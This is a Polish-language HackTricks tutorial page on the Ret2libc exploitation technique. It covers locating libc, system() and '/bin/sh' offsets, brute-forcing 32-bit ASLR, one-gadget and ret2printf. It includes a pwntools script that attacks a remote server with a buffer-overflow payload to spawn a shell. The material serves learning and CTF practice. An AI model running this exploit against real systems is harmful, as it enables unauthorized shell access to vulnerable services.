Ret2lib

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Istotą Ret2Libc jest przekierowanie przepływu wykonania podatnego programu do funkcji w współdzielonej bibliotece (np. system, execve, strcpy) zamiast wykonywania kodu shell dostarczonego przez atakującego na stosie. Atakujący tworzy ładunek, który modyfikuje adres powrotu na stosie, aby wskazywał na pożądaną funkcję biblioteczną, jednocześnie zapewniając, że wszystkie niezbędne argumenty są poprawnie ustawione zgodnie z konwencją wywołania.

Przykładowe kroki (uproszczone)

  • Uzyskaj adres funkcji do wywołania (np. system) i polecenie do wykonania (np. /bin/sh)

  • Wygeneruj łańcuch ROP, aby przekazać pierwszy argument wskazujący na ciąg poleceń i przepływ wykonania do funkcji

Znajdowanie adresów

  • Zakładając, że używana jest libc z bieżącej maszyny, można znaleźć, gdzie zostanie załadowana w pamięci za pomocą:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Jeśli chcesz sprawdzić, czy ASLR zmienia adres libc, możesz to zrobić:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Znając używaną bibliotekę libc, można również znaleźć przesunięcie do funkcji system za pomocą:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Znając używaną bibliotekę libc, można również znaleźć przesunięcie do funkcji łańcucha /bin/sh za pomocą:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Używając gdb-peda / GEF

Znając używaną bibliotekę libc, można również użyć Peda lub GEF, aby uzyskać adres funkcji system, funkcji exit oraz ciągu znaków /bin/sh:

p system
p exit
find "/bin/sh"

Korzystanie z /proc/<PID>/maps

Jeśli proces tworzy dzieci za każdym razem, gdy z nim rozmawiasz (serwer sieciowy), spróbuj odczytać ten plik (prawdopodobnie będziesz musiał być rootem).

Tutaj możesz znaleźć dokładnie, gdzie jest załadowany libc wewnątrz procesu i gdzie będzie załadowany dla każdego dziecka procesu.

W tym przypadku jest załadowany pod adresem 0xb75dc000 (Będzie to adres bazowy libc)

Nieznany libc

Może być możliwe, że nie wiesz, jaki libc jest ładowany przez binarny plik (ponieważ może znajdować się na serwerze, do którego nie masz dostępu). W takim przypadku możesz wykorzystać podatność do wycieku pewnych adresów i znalezienia, który libc jest używany:

pageLeaking libc address with ROP

A szablon pwntools do tego znajdziesz tutaj:

pageLeaking libc - template

Znany libc z 2 przesunięciami

Sprawdź stronę https://libc.blukat.me/ i użyj kilku adresów funkcji wewnątrz libc, aby dowiedzieć się, która wersja jest używana.

Omijanie ASLR w 32 bitach

Te ataki brute-force są przydatne tylko dla systemów 32-bitowych.

  • Jeśli exploit jest lokalny, możesz spróbować przeprowadzić atak brute-force na adres bazowy libc (przydatne dla systemów 32-bitowych):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Jeśli atakujesz zdalny serwer, możesz spróbować przeprowadzić atak siłowy na adres funkcji usleep z biblioteki libc, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie serwer potrzebuje dodatkowych 10 sekund na odpowiedź, oznacza to, że znalazłeś adres tej funkcji.

One Gadget

Wykonaj powłokę, skacząc tylko do jednego konkretnego adresu w bibliotece libc:

pageOne Gadget

Przykład kodu x86 Ret2lib

W tym przykładzie atak siłowy ASLR jest zintegrowany w kodzie, a podatny plik binarny znajduje się na zdalnym serwerze:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

Przykład kodu x64 Ret2lib

Sprawdź przykład z:

pageROP - Return Oriented Programing

Przykład ARM64 Ret2lib

W przypadku ARM64 instrukcja ret skacze tam, gdzie wskazuje rejestr x30, a nie tam, gdzie wskazuje rejestr stosu. Jest to trochę bardziej skomplikowane.

Ponadto w ARM64 instrukcja wykonuje to, co ma wykonać (nie można skakać w środek instrukcji i zmieniać ich na nowe).

Sprawdź przykład z:

pageRet2lib + Printf leak - arm64

Ret-into-printf (lub puts)

Pozwala to wyciekać informacje z procesu poprzez wywołanie printf/puts z określonymi danymi umieszczonymi jako argument. Na przykład umieszczenie adresu puts w GOT podczas wywołania puts spowoduje wyciek adresu puts w pamięci.

Ret2printf

Oznacza to w zasadzie wykorzystanie Ret2lib do przekształcenia go w podatność na łańcuchy formatujące printf poprzez użycie ret2lib do wywołania printf z wartościami do jej wykorzystania (brzmi bezużytecznie, ale jest to możliwe):

pageFormat Strings

Inne przykłady i odnośniki

Last updated